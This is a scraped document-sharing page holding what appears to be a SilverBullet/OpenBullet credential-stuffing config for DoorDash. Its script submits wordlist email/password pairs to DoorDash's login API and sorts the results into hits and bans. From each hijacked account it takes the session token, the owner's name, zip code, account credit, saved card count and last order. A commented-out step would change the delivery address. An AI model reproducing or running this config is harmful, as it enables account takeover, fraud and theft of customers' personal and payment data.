Download as txt, pdf, or txt
Download as txt, pdf, or txt
You are on page 1of 4

[SETTINGS]

{
"Name": "DoorDash",
"SuggestedBots": 1,
"MaxCPM": 0,
"LastModified": "2021-06-28T11:38:19.5720166+04:30",
"AdditionalInfo": "",
"RequiredPlugins": [],
"Author": "DrConfiger",
"Version": "1.1.1 [SB]",
"SaveEmptyCaptures": false,
"ContinueOnCustom": false,
"SaveHitsToTextFile": false,
"IgnoreResponseErrors": false,
"MaxRedirects": 8,
"NeedsProxies": false,
"OnlySocks": false,
"OnlySsl": false,
"MaxProxyUses": 0,
"BanProxyAfterGoodStatus": false,
"BanLoopEvasionOverride": -1,
"EncodeData": false,
"AllowedWordlist1": "",
"AllowedWordlist2": "",
"DataRules": [],
"CustomInputs": [],
"CaptchaUrl": "",
"IsBase64": false,
"FilterList": [],
"EvaluateMathOCR": false,
"SecurityProtocol": 0,
"ForceHeadless": false,
"AlwaysOpen": false,
"AlwaysQuit": false,
"QuitOnBanRetry": false,
"AcceptInsecureCertificates": true,
"DisableNotifications": false,
"DisableImageLoading": false,
"DefaultProfileDirectory": false,
"CustomUserAgent": "",
"RandomUA": false,
"CustomCMDArgs": "",
"Title": "DoorDash",
"IconPath": "Icon\\svbfile.ico",
"Message": null,
"MessageColor": "#FFFFFFFF",
"AuthorColor": "#FFFFB266",
"WordlistColor": "#FFB5C2E1",
"BotsColor": "#FFA8FFFF",
"CustomInputColor": "#FFD6C7C7",
"CPMColor": "#FFFFFFFF",
"ProgressColor": "#FFAD93E3",
"HitsColor": "#FF66FF66",
"CustomColor": "#FFFFB266",
"ToCheckColor": "#FF7FFFD4",
"FailsColor": "#FFFF3333",
"RetriesColor": "#FFFFFF99",
"OcrRateColor": "#FF4698FD",
"ProxiesColor": "#FFFFFFFF"
}

[SCRIPT]
REQUEST POST "https://identity.doordash.com/api/v1/auth/token"
CONTENT "{\"credentials\":{\"email\":\"<USER>\",\"password\":\"<PASS>\"}}"
CONTENTTYPE "application/json"
SECPROTO TLS12
HEADER "Authorization:
FtrOvqTNyAkAAAAAAAAAADpTSUJ1bUKhAAAAAAAAAACeT6l00rBlswAAAAAAAAAA"
HEADER "Content-Type: application/json; charset=UTF-8"
HEADER "Host: identity.doordash.com"
HEADER "Connection: Keep-Alive"
HEADER "User-Agent: okhttp/3.14.2"
HEADER "X-NewRelic-ID: XAUEWF5SGwEJUFhUDwcA"
HEADER "Accept-Encoding: gzip, deflate"
HEADER "Content-Length: 68"

KEYCHECK
KEYCHAIN Failure OR
KEY "No factors supplied"
KEY "Unable to login "
KEY "deactivated"
KEYCHAIN Ban OR
KEY "<RESPONSECODE>" Contains "401"
KEYCHAIN Success OR
KEY "token\":\""

PARSE "<SOURCE>" LR "refresh_token\":\"" "\"" -> VAR "rtoken"

PARSE "<SOURCE>" LR "token\":\"" "\",\"" -> VAR "token"

REQUEST GET "https://api.doordash.com/v2/consumers/me/?


expand=account_credits_monetary_fields&expand=default_payment_card&expand=district&
expand=district.submarket&expand=phone_number_components&expand=referree_amount_mon
etary_fields&expand=referrer_amount_monetary_fields&fields=account_credits_monetary
_fields&fields=account_credits_monetary_fields.currency&fields=account_credits_mone
tary_fields.decimal_places&fields=account_credits_monetary_fields.display_string&fi
elds=account_credits_monetary_fields.unit_amount&fields=default_country_shortname&f
ields=default_address&fields=default_payment_card&fields=district&fields=district.i
d&fields=district.submarket&fields=district.submarket.id&fields=district.submarket.
name&fields=email&fields=first_name&fields=has_accepted_latest_terms_of_service&fie
lds=has_usable_password&fields=id&fields=is_guest&fields=last_name&fields=num_order
s_submitted&fields=phone_number_components&fields=phone_number_components.country_c
ode&fields=phone_number_components.country_shortname&fields=phone_number_components
.national_number&fields=phone_number&fields=receive_marketing_push_notifications&fi
elds=receive_push_notifications&fields=receive_text_notifications&fields=referree_a
mount_monetary_fields&fields=referree_amount_monetary_fields.currency&fields=referr
ee_amount_monetary_fields.decimal_places&fields=referree_amount_monetary_fields.dis
play_string&fields=referree_amount_monetary_fields.unit_amount&fields=referrer_amou
nt_monetary_fields&fields=referrer_amount_monetary_fields.currency&fields=referrer_
amount_monetary_fields.decimal_places&fields=referrer_amount_monetary_fields.displa
y_string&fields=referrer_amount_monetary_fields.unit_amount&fields=social_account_p
roviders"

HEADER "Authorization: JWT <token>"

KEYCHECK
KEYCHAIN Failure OR
KEY "Something went wrong"
KEYCHAIN Success OR
KEY "{\"phone_number"

PARSE "<SOURCE>" JSON "first_name" -> VAR "Name"

PARSE "<SOURCE>" JSON "last_name" -> VAR "Name" "<Name> " ""

PARSE "<SOURCE>" LR "\":{\"currency\":\"" "\"" CreateEmpty=FALSE -> CAP "Currency"

PARSE "<SOURCE>" LR "zip_code\":\"" "\"" CreateEmpty=FALSE -> CAP "Zip"

PARSE "<SOURCE>" LR "\":{\"currency\":\"<Currency>\",\"display_string\":\"" "" ->


VAR "Credit"

PARSE "<Credit>" LR "\":{\"currency\":\"<Currency>\",\"display_string\":\"" "\""


CreateEmpty=FALSE -> CAP "Credit"

FUNCTION Replace "AU" "" "<Credit>" -> CAP "Credit"

FUNCTION Replace "A" "" "<Credit>" -> CAP "Credit"

FUNCTION Replace "US" "" "<Credit>" -> CAP "Credit"

FUNCTION Replace "C" "" "<Credit>" -> CAP "Credit"

FUNCTION Replace "MX" "" "<Credit>" -> CAP "Credit"

FUNCTION Replace "D " "" "<Credit>" -> CAP "Credit"

!#Auto_Change_Address REQUEST POST


"https://api.doordash.com/v2/consumer/me/address/"
! CONTENT "{\"google_place_id\":\"ChIJ9-23LJZF5IkRDBMg-
HJFHjk\",\"printable_address\":\"69699\",\"driver_instructions\":\"\",\"parking_ins
tructions\":\"\",\"entry_code\":\"\",\"subpremise\":\"\"}"
! CONTENTTYPE "application/json"
! HEADER "Authorization: JWT <token>"

PARSE "<SOURCE>" LR "receive_text_notifications\":" "," -> VAR "Texts"

REQUEST GET "https://api.doordash.com/v2/consumers/me/payment_cards/"

HEADER "Authorization: JWT <token>"

PARSE "<SOURCE>" LR "" "" -> VAR "CreditCards"

FUNCTION CountOccurrences "\"type\"" "<CreditCards>" -> CAP "CreditCards"

REQUEST GET "https://api.doordash.com/v2/consumers/me/order_carts/?


expand=creator&expand=store_order_carts&expand=store_order_carts.delivery&expand=st
ore_order_carts.store&expand=store_order_carts.orders.order_items.item&fields=id&fi
elds=is_group&fields=creator&fields=shortened_url&fields=store_order_carts&fields=s
tore_order_carts.delivery&fields=store_order_carts.num_items&fields=store_order_car
ts.created_at&fields=store_order_carts.store.name&fields=store_order_carts.store.id
&fields=store_order_carts.store.cover_img_url&fields=store_order_carts.delivery.sto
re_confirmed_time&fields=store_order_carts.delivery.dasher_confirmed_time&fields=st
ore_order_carts.delivery.dasher_at_store_time&fields=store_order_carts.delivery.act
ual_pickup_time&fields=store_order_carts.delivery.dasher_approaching_customer_time&
fields=store_order_carts.delivery.quoted_delivery_time&fields=store_order_carts.del
ivery.actual_delivery_time&fields=store_order_carts.delivery.is_asap&fields=store_o
rder_carts.is_consumer_pickup&fields=asap_pickup_time_range_fields&fields=store_ord
er_carts.orders&fields=store_order_carts.orders.order_items.item.name&fields=store_
order_carts.store&fields=total_charged_monetary_fields&fields=store_order_carts.sto
re.is_consumer_subscription_eligible&fields=store_order_carts.delivery.id&limit=10&
offset=0&extra=store_order_carts.orders&extra=store_order_carts.orders.order_items&
extra=payment_card&extra=cancelled_at&include_cancelled=true"

HEADER "Authorization: JWT <token>"

PARSE "<SOURCE>" LR "[{\"store_order_carts\":[{\"delivery\":


{\"quoted_delivery_time\":\"" "\"" -> VAR "Last Order"

IF "<Last Order>" EqualTo ""

PARSE "<SOURCE>" LR "" "" CreateEmpty=FALSE -> CAP "Last Order"

IF "<SOURCE>" Contains ",\"cancelled_at\":\""

PARSE "<Last Order>" LR ",\"cancelled_at\":\"" "\"" CreateEmpty=FALSE -> CAP "Last


Order"

FUNCTION Substring "0" "10" "<Last Order>" -> CAP "Last Order"

ELSE

FUNCTION Substring "0" "10" "<Last Order>" -> CAP "Last Order"

ENDIF

!PARSE "<token>" LR "" "" CreateEmpty=FALSE -> CAP "token"

KEYCHECK BanOnToCheck=FALSE
KEYCHAIN Custom "FREE" OR
KEY "<Credit>" EqualTo "$0.00"
KEY "<Credit>" EqualTo ""
KEY "<Credit>" LessThan "$10.00"

You might also like